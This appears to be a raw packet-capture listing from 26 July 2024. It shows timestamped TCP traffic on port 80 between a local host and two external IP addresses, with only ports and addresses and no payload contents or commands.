Jul 26, 2024 08:24:44.765937090 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.765959024 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.766756058 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.766767979 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.766778946 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.766788960 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.766788960 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.766804934 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.766817093 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.767638922 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.767649889 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.767658949 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.767671108 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.767680883 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.767682076 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.767693043 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.767705917 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.768516064 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.768527031 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.768537998 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.768548965 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.768558979 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.768573046 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.768584967 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.768858910 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.769340992 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.769352913 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.769361973 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.769372940 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.769382954 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.769391060 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.769407034 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.769417048 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.770262957 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.770275116 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.770286083 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.770312071 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.770328045 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.842705965 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.842736006 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.842746973 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.842771053 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.842803955 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.843151093 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.843162060 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.843172073 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.843183994 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.843187094 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.843202114 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.843213081 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.843789101 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.843800068 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.843810081 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.843820095 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.843832016 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.843842030 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.843853951 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.844522953 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.844533920 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.844544888 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.844554901 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.844556093 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.844568014 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.844583035 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.845330000 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.845341921 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.845351934 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.845362902 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.845371962 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.845392942 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.845392942 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.846219063 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.846230984 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.846240044 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.846251011 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.846256018 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.846261024 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.846276999 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.846288919 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.846925974 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.847378969 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.847389936 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.847399950 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.847410917 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.847420931 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.847434044 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.847445965 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.847773075 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.847784042 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.847794056 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.847805023 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.847806931 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.847815037 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.847817898 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.847832918 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.847846985 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.848581076 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.848592043 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.848602057 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.848612070 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.848623037 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.848637104 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.849400043 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.849411011 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.849421024 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.849431038 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.849438906 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.849442005 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.849450111 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.849462986 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.849474907 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.850301981 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.850315094 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.850325108 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.850337029 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.850343943 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.850363016 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.850370884 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.850486040 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.851006031 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.851016998 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.851026058 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.851037025 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.851047039 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.851048946 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.851063967 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.851073027 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.851685047 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.851696014 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.851706028 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.851716042 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.851723909 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.851727009 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.851738930 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.851759911 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.851778984 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.852663040 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.852675915 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.852684975 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.852695942 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.852704048 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.852705956 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.852715969 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.852716923 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.852726936 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.852731943 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.852746010 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.852758884 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.853652954 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.853663921 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.853672981 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.853684902 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.853694916 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.853693962 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.853705883 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.853710890 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.853715897 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.853718996 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.853734016 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.853748083 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.854229927 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.854609013 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.854628086 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.854638100 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.854650021 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.854656935 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.854660034 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.854669094 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.854671955 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.854681969 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.854684114 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.854696989 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.854708910 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.854722023 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.855564117 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.855576038 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.855587006 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.855598927 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.855606079 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.855609894 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.855624914 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.855634928 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.855642080 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.856265068 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.856276035 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.856286049 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.856297016 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.856307030 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.856307983 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.856314898 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.856318951 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.856332064 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.856347084 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.857106924 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.857117891 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.857129097 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.857147932 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.857161999 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.861850023 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:45.728413105 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:48.491061926 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:48.496542931 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:48.496603012 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:48.497450113 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:48.502255917 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:48.981481075 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:48.981637001 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:48.981650114 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:48.981707096 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:48.981709003 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:48.981718063 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:48.981729031 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:48.981754065 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:48.981774092 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:48.982150078 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:48.982161999 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:48.982172012 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:48.982184887 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:48.982187986 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:48.982211113 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:48.986920118 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:48.986936092 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:48.987004042 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.004463911 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.067686081 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.067779064 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.067817926 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.067825079 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.068001032 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.068047047 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.072724104 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.072741032 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.072783947 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.073196888 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.073208094 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.073240995 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.077660084 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.077673912 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.077704906 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.078001022 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.078012943 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.078025103 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.078052044 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.085769892 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.085793972 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.085805893 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.085817099 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.085822105 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.085844994 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.090765953 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.090779066 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.090810061 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.090876102 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.090887070 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.090897083 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.090914965 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.154530048 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.154570103 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.154581070 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.154582977 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.154623032 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.154722929 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.159442902 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.159456015 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.159483910 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.164850950 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.164897919 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.164908886 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.164937019 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.164964914 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.164983988 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.164993048 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.165028095 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.169876099 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.169919014 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.169965029 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.170011997 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.170047998 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.170084000 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.174768925 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.174812078 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.174860001 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.174865961 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.174901009 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.174932957 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.174938917 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.179667950 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.179682970 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.179701090 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.179822922 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.179836035 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.179853916 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.184567928 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.184586048 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.184597015 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.184607983 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.184643030 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.184753895 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.184765100 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.184802055 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.189497948 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.189510107 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.189543009 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.189743996 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.189755917 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.189786911 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.195038080 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.195053101 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.195065022 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.195076942 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.195084095 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.195089102 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.195100069 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.195105076 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.195111036 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.195126057 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.195430040 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.195461988 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.241602898 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.241652012 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.241662979 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.241688967 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.241903067 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.241914988 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.241935968 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.242219925 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.242230892 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.242240906 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.242260933 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.242623091 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.242660046 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:49.242782116 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:49.242944002 CEST	80	49171	198.46.176.133	192.168.2.22
